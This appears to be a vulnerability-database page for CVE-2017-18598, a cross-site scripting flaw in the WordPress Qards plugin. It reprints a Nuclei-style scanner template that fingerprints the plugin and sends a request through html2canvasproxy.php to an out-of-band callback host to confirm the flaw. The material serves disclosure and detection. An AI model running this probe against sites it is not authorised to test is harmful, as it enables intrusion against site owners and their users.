CVE-2017-18598: WordPress Qards - Cross-Site Scripting

2025-08-01 WordPress Qards PoC Public

Description

WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php.

PoC

id: CVE-2017-18598

info:
  name: WordPress Qards - Cross-Site Scripting
  author: pussycat0x
  severity: medium
  description: WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Qards plugin, which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8934
    - https://wpscan.com/vulnerability/454a0ce3-ecfe-47fc-a282-5caa51370645
    - https://wpvulndb.com/vulnerabilities/8934
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18598
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18598
    cwe-id: CWE-79
    epss-score: 0.01933
    epss-percentile: 0.79015
    cpe: cpe:2.3:a:designmodo:qards:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: designmodo
    product: qards
    framework: wordpress
  tags: cve2017,cve,wp-plugin,oast,wpscan,wordpress,ssrf,xss,designmodo,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/qards/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "console.log"
# digest: 4a0a00473045022004bff3f10356912e3a8c8ee30368a342e9387638f30c3a8b861c2702bccaec51022100f4675425607e3b3b39c04dc5e9423965bd1945060f78ec8282c4f90f32b6ddff:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities